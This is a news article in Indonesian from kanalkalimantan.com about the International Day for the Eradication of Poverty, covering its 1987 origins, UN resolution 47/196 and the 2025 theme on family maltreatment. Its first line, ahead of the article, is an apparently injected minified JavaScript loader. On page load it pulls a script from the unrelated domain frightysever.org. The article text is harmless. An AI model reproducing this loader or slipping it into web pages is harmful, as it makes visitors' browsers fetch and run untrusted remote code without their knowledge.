(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Peringatan Hari Pemberantasan Kemiskinan Sedunia dapat ditelusuri kembali ke 17 Oktober 1987. Pada hari itu, lebih dari seratus ribu orang berkumpul di Trocadéro di Paris, tempat Deklarasi Universal Hak Asasi Manusia ditandatangani pada tahun 1948, untuk menghormati para korban kemiskinan ekstrem, kekerasan, dan kelaparan.
Mereka menyatakan bahwa kemiskinan merupakan pelanggaran hak asasi manusia dan menegaskan perlunya bersatu untuk memastikan hak-hak ini dihormati.
Sejak saat itu, orang-orang dari berbagai latar belakang, keyakinan, dan asal-usul sosial berkumpul setiap tahun pada tanggal 17 Oktober untuk memperbarui komitmen dan menunjukkan solidaritas mereka dengan kaum miskin.
Baca juga: Menu MBG di SDN 1 Loktabat Utara Berbau dan Berlendir
Melalui resolusi 47/196 yang diadopsi pada 22 Desember 1992, Majelis Umum PBB mendeklarasikan 17 Oktober sebagai Hari Internasional untuk Pemberantasan Kemiskinan.
UNESCO yakin bahwa perjuangan berkelanjutan melawan kemiskinan membutuhkan penguatan kapasitas individu melalui pendidikan, ilmu pengetahuan, dan dukungan bagi ekonomi kreatif, yang merupakan sumber lapangan kerja sekaligus sumber kebanggaan dan martabat. UNESCO mengabdikan seluruh keahliannya untuk Agenda 2030 untuk pembangunan berkelanjutan, khususnya tujuan mengakhiri kemiskinan dalam segala bentuknya di mana pun.
Seperti yang dikatakan Sekretaris Jenderal Perserikatan Bangsa-Bangsa, Kofi Annan, pada tahun 2002, “kemiskinan adalah pengingkaran hak asasi manusia” bagi setiap individu. Kemiskinan sungguh memprihatinkan. Kemiskinan tidak hanya menyebabkan kehidupan yang penuh kekurangan, kelaparan, dan penderitaan sehari-hari, tetapi juga menghalangi penikmatan hak dan kebebasan fundamental, yang seharusnya dapat dinikmati setiap manusia tanpa hambatan.”
Tema Hari Pemberantasan Kemiskinan 2025
Tahun 2025, peringatan hari ini mengusung tema: “Ending social and institutional maltreatment by ensuring respect and effective support for families”. Fokus utama tema adalah mengakhiri perlakuan buruk sosial dan kelembagaan terhadap keluarga miskin, sambil memastikan dukungan efektif yang menjaga keluarga tetap bersatu, berkembang, dan membentuk masa depan mereka sendiri.
Keluarga miskin sering menghadapi stigma dan perlakuan diskriminatif di institusi yang seharusnya mendukung, seperti sekolah, klinik kesehatan, dan sistem kesejahteraan sosial.
Kelompok rentan termasuk ibu tunggal, komunitas adat, dan keluarga yang secara historis terpinggirkan -mengalami kendali yang mengikis kepercayaan diri, dan terkadang berujung pada perpisahan keluarga. Tema tahun ini menegaskan pentingnya membalik pola tersebut melalui pendekatan yang menghormati martabat individu. (Kanalkalimantan.com/kk)
Editor: kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
This website uses cookies.